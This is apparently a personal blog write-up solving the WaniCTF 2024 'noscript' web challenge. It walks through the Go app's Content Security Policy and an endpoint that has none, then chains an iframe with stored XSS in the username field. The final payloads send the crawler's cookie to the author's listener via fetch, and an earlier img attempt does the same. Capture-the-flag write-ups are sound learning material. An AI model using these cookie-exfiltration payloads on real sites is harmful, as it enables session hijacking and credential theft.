noscript (web)

Description

Ignite it to steal the cookie!

https://wanictf.org/2024/

Solution

Since I decided to join the DOMBUSTERS team on Discord I’ve completed a bunch of ctf challenges. For some of the interesting challenges I have solved I want to create my writeup notes on this blog.
For this web based challenge the sourcecode of the web application was available. The main application is written in Go and allows users to change their usernames and profiles. The second component called crawler is a bot used to check the users profile. The flag we want to retrieve is set as a cookie in this bots profile lookup call. Therefore we need to find a way for this crawler to send us the cookie when he performs a lookup on a users profile.

As we can see in the sourcecode of that crawler, it will only call the /user:id path directly. On that page there is a strict CSP (Content Security Policy) set. Content-Security-Policy: "default-src 'self', script-src 'none'"

// Get user profiles
r.GET("/user/:id", func(c *gin.Context) {
    c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
    id := c.Param("id")
    re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
    if re.MatchString(id) {
        if val, ok := db.Get(id); ok {
            params := map[string]interface{}{
                "id":       id,
                "username": val[0],
                "profile":  template.HTML(val[1]),
            }
            c.HTML(http.StatusOK, "user.html", params)
        } else {
            _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
        }
    } else {
        _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
    }
})

Based on that CSP we know that on the page /user/:id we can not execute any javascript and only include content from self. Additionally, the Username parameter is only handled as a string on this page. So we can’t inject any html into the users profile using his username. Only the profile parameter is handled as html, so we can misuse that one to inject some html that complies with the CSP.

To make life a bit easier I first update the sourcecode of the crawler a bit, to add some useful debug logs. With those I can see if the console of the chromium logs any errors.

const crawl = async (path) => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  const cookie = [
    {
      name: "flag",
      value: FLAG,
      domain: HOST,
      path: "/",
      expires: Date.now() / 1000 + 100000,
    },
  ];
  page.context().addCookies(cookie);
  //Log the chromium console
  page.on('console', message => {
    console.log(`Console (${message.type()}): ${message.text()}`);
  });
  try {
    await page.goto(APP_URL + path, {
      waitUntil: "domcontentloaded",
      timeout: 3000,
    });
    await page.waitForTimeout(1000);
    await page.close();
  } catch (err) {
    console.error("crawl", err.message);
  } finally {
    await browser.close();
    console.log("crawl", "browser closed");
  }
};

Since we can’t use <script> I tried to load an image from my self hosted server including the cookies. Profile: <img src="http://10.0.2.15:1337/?cookie="+encodeURIComponent(document.cookie)> But because that violates the default-src: self it gets blocked.

Since the current details are not yet enough to exploit the webapp I once again look trough the sourcecode provided. There is another path available that I didn’t consider so far. /username/:id

// Get username API
r.GET("/username/:id", func(c *gin.Context) {
  ipAddress := c.ClientIP()
    fmt.Println("Caller IP:", ipAddress)

  id := c.Param("id")
  re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
  if re.MatchString(id) {
    if val, ok := db.Get(id); ok {
      _, _ = c.Writer.WriteString(val[0])
    } else {
      _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
    }
  } else {
    _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
  }
})

The sourcecode of this endpoint shows that there is no CSP in place here. Therefore if the username can be updated to contain some javascript it should get executed on this path. As can be seen in the screenshot updating the username and calling it on this subpage reflects the XSS back to us.

NoScript

Now all we have left to do is to get the bot crawler to access our prepared page that reflects the javascript stored in the username. But since the new endpoint is on the same webpage there should be no issue with the CSP of self. The first attempt was to use the img tag. In the logs we can see that a GET request is made to the username path. But the XSS is not executed. Probably because the XSS Payload was never actually loaded into the chromium instance of the crawler. Therefore the next tag used was iframe. With this we can see that we actually get a request back from the crawler, including his cookies.

Username: <script>fetch('http://10.0.2.15:1337/'+document.cookie)</script>
Profile: <iframe src="/username/f7754cd5-29be-4322-88d0-4749bb7724da"></iframe>